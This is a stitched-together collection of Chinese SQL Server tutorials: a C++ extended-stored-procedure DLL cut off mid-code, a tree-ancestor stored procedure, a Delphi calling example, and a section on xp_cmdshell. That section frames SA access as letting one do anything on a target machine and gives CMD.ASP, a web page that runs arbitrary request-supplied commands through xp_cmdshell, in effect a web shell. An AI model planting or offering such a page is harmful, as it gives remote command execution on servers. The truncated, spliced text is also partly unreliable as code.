我们写动态库一般是自己用,即便给别人用,也很少像SQL Server这样,一个动态库很有可能加载多次,并且都是加载到一个进程的地址空间中。我们知道,当一个动态库加载到进程的地址空间时,DLL所有全局与局部变量初始化且仅初始化一次,以后再次调用 LoadLibrary函数时,仅仅增加其引用计数而已,那么很显然,假如有一全局 int ,初始化为0,调用一个函数另其自加,此时其值为1,然后再调用LoadLibray,并利用返回的句柄调用输出函数输出该值,虽然调用者觉得自己加载后立即输出,然后该值确实1而不是0。windows是进程独立的,而在线程方面,假如不注意,上面的情况很可能会程序员带来麻烦。
介绍一下我的扩展存储过程,该动态库导出了三个函数: Init,work,Final,Init读文件,存储信息于内存,work简单的只是向该内存检索信息,Final回收内存。如上所说,假如不考虑同一进程空间多次加载问题,两次调用Init将造成无谓的浪费,因为我第一次已经读进了内存,要是通过堆分配内存,还会造成内存泄露。
我使用的引用计数解决的该问题,代码很短,直接贴上来:
#include “stdafx.h”
#include
using namespace std;
extern “C” {
RETCODE __declspec(dllexport) xp_part_init(SRV_PROC *srvproc);
RETCODE __declspec(dllexport) xp_part_process(SRV_PROC *srvproc);
RETCODE __declspec(dllexport) xp_part_finalize(SRV_PROC *srvproc);
}
#define XP_NOERROR 0
#define XP_ERROR 1
HINSTANCE hInst = NULL;
int nRef = 0;
void printError (SRV_PROC *pSrvProc, CHAR* szErrorMsg);
ULONG __GetXpVersion(){ return ODS_VERSION;}
SRVRETCODE xp_part_init(SRV_PROC* pSrvProc){
typedef bool (*Func)();
if(nRef == 0){
hInst = ::LoadLibrary(“part.dll”);
if(hInst == NULL){
printError(pSrvProc,“不能加载part.dll”);
return XP_ERROR;
}
Func theFunc = (Func)::GetProcAddress(hInst,“Init”);
if(!theFunc()){
::FreeLibrary(hInst);
printError(pSrvProc,“不能获得分类号与专辑的对应表”);
return XP_ERROR;
}
}
++ nRef;
return (XP_NOERROR);
}
SRVRETCODE xp_part_process(SRV_PROC* pSrvProc){
typedef bool (*Func)(char*);
if(nRef == 0){
printError(pSrvProc,“函数尚未初始化,请首先调用xp_part_init”);
return XP_ERROR;
}
Func the
关 键 字:MYSQL
篇8:教你SQLSERVER扩展存储过程XPCMDSHELL的简单应用
XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作,下面是我写的一个简单的应用页面(ASP),代码如下。
XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。下面是我写的一个简单的应用页面(ASP),代码如下。
CMD.ASP
<%@LANGUAGE=“VBSCRIPT” CODEPAGE=“936”%>
SQLSERVER_XP_CMDSHELL实例_魔术师·刘
<%if request(“cmd”)“” then%>
XP_CMDSHELL请求结果
<%dim connstr,conn,rs,i
ConnStr=“Provider=sqloledb.1;persist security info=false;server=”&request(“server”)&“;uid=sa;pwd=”&request(“pwd”)&“;database=master”
'ConnStr=“Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master”
set conn=Server.CreateObject(“ADODB.Connection”)
conn.open Connstr
set rs=server.CreateObject(“ADODB.Recordset”)
set rs=conn.execute(“xp_cmdshell '”&replace(replace(request(“cmd”),“'”,“''”),chr(34),“''”)&“'”)
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write “”&rs(0)&“”
else
response.Write “”&rs(0)&“”
end if
i=i 1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
<%end if%>
XP_CMDSHELL实例
服务器
<%=request(“Server”)%>“>
SA密码
<%=request(”PWD“)%>”>
CMD命令
<%=request(“CMD”)%>“>
篇9:一问一答:存储过程经典问题数据库教程
存储过程|问题
只涉及到一个表:xkb_treeNode
表结构是这样:
node_id int //节点id
parentNode_id int //父节点id
node_text varchar //节点内容
isModule bit //是否叶子节点
现在保存的数据有:
node_id parentNode_id node_text isModule
1 -1 语言与文学 0
2 -1 数学 0
3 -1 技术 0
4 1 语文 0
5 1 外语 0
6 5 英语 0
7 6 初中英语 0
8 7 特斯塔 1
9 4 测定是2 1
10 2 测试3 1
现在问题是:
能否通过做一个存储过程,
根据表中的isModule字段的取值(取值为1的表示最终叶子结点),
比如“特斯塔”为叶子节点,层层向上递进找到”特斯塔“的祖先节点:
特斯塔-〉初中英语-〉英语-〉外语-〉语言与文学
即通过”特斯塔“找到”语言与文学“来
最终返回的形态为:
叶子节点id 父节点id 节点名称 祖先节点名称 祖先节点id
8 7 特斯塔 语言与文学 1
9 4 测定是2 语言与文学 1
10 2 测试3 数学 2
/////////////////////////////////////////////////////////////////////////
正确答案:
--生成测试数据
create table xkb_treeNode(
node_id int,
parentNode_id int,
node_textvarchar(10),
isModulebit)
insert into xkb_treeNode select 1 ,-1,'语言与文学',0
insert into xkb_treeNode select 2 ,-1,'数学',0
insert into xkb_treeNode select 3 ,-1,'技术',0
insert into xkb_treeNode select 4 , 1,'语文',0
insert into xkb_treeNode select 5 , 1,'外语',0
insert into xkb_treeNode select 6 , 5,'英语',0
insert into xkb_treeNode select 7 , 6,'初中英语',0
insert into xkb_treeNode select 8 , 7,'特斯塔' ,1
insert into xkb_treeNode select 9 , 4,'测定是2',1
insert into xkb_treeNode select 10 , 2,'测试3',1
--创建存储过程
create procedure sp_test
as
begin
select
a.node_id,
a.parentNode_id,
a.node_text,
b.node_id as ancestor_id ,
b.node_text as ancestor_text
into
#t
from
xkb_treeNode a,xkb_treeNode b
where
a.parentNode_id = b.node_id and a.isModule = 1
while(exists(select 1 from xkb_treeNode a,#t b where a.node_id=ancestor_id and a.parentNode_id != -1))
begin
update #t
set
ancestor_id = b.p_id,
ancestor_text = b.p_text
from
#t a,
(select
c.node_id,
d.node_id as p_id,
d.node_text as p_text
from
xkb_treeNode c,xkb_treeNode d
where
c.parentNode_id = d.node_id) b
where
a.ancestor_id = b.node_id
end
select * from #t order by node_id
end
--执行存储过程,结果楼主自己看
exec sp_test
篇10:Delphi与SQLServer存储过程编程详解数据库
前言 经常有很多初学者问到在delphi中如何调用 SQL Server的存储过程 ?问题其实很好解决,但问得多了,也就不愿答了,下面我将用实例进行说明,从在SQL Server中创建存储过程到调用的完整实例。 首先,打开 sql server管理器,在pubs 数据库 中建一个 测试 表
前言
经常有很多初学者问到在delphi中如何调用SQLServer的存储过程?问题其实很好解决,但问得多了,也就不愿答了。下面我将用实例进行说明,从在SQL Server中创建存储过程到调用的完整实例。
首先,打开sqlserver管理器,在pubs数据库中建一个测试表,表名为test,字段有id,name,和desc,全部为字符型,如果你不知道建表,那么打开sql查询分析器,贴上以下的代码,然后按执行,就会自动生成test表.
use pubs
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[test]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [dbo].[test]
GO
CREATE TABLE [dbo].[test] (
[id] [char] (10) COLLATE Chinese_PRC_CI_AS NOT NULL ,
[name] [char] (12) COLLATE Chinese_PRC_CI_AS NULL ,
[descrip] [char] (30) COLLATE Chinese_PRC_CI_AS NULL
) ON [PRIMARY]
GO
然后,我们来创建一个存储过程,其功能为在test中插入一条新记录.创建存储过程的代码如下,同样的,你也可以复制到查询分析器里直接执行就可以:
CREATE PROCEDURE myInsert
@id char(10) ,
@name varchar(12),
@descrip varchar(30)
AS
begin
insert into test (id,name,descrip) values (@id,@name,@descrip)
if @@rowcount=0
begin
raiserror('error',16,1)
rollback transaction
end
end
GO
接下来,新建一个工程文件,在form1上放置如下控件,并设置属性(括号内):
一个ADOConnection1: TADOConnection;
(LoginPrompt:=false;
connectionstring:=Provider=SQLOLEDB.1;Persist Security Info=True;User ID=sa;Initial Catalog=pubs;Data Source=(local);)
一个ADOStoredProc1: TADOStoredProc;属性为:
(connection:=adoconnection1;
procedurename:=myinsert;//上面我们创建的那个)
一个ADOTable1: TADOTable;属性为:
(connection:=adoconnection1;
tablename:=test; //上面我们创建的那个)
一个Datasource1,属性为:
(dataset:=Tadotable;)
一个 DBGrid1: TDBGrid;属性为
(datasource:=datasource1;)
一个Button1,在其Onclick中写到:
with adoStoredproc1 do
begin
Parameters.ParamByName('@id').Value := '2';
parameters.ParamByName('@name').Value := 'myname';
parameters.ParamByName('@descrip').Value :='nosubject';
ExecProc;
end;
Adotable1.Close;
adotable1.Open;
原文转自:www.ltesting.net
★DELPHI 调用 Oracle 存储过程并返回数据集的例子.数据库教程
文档为doc格式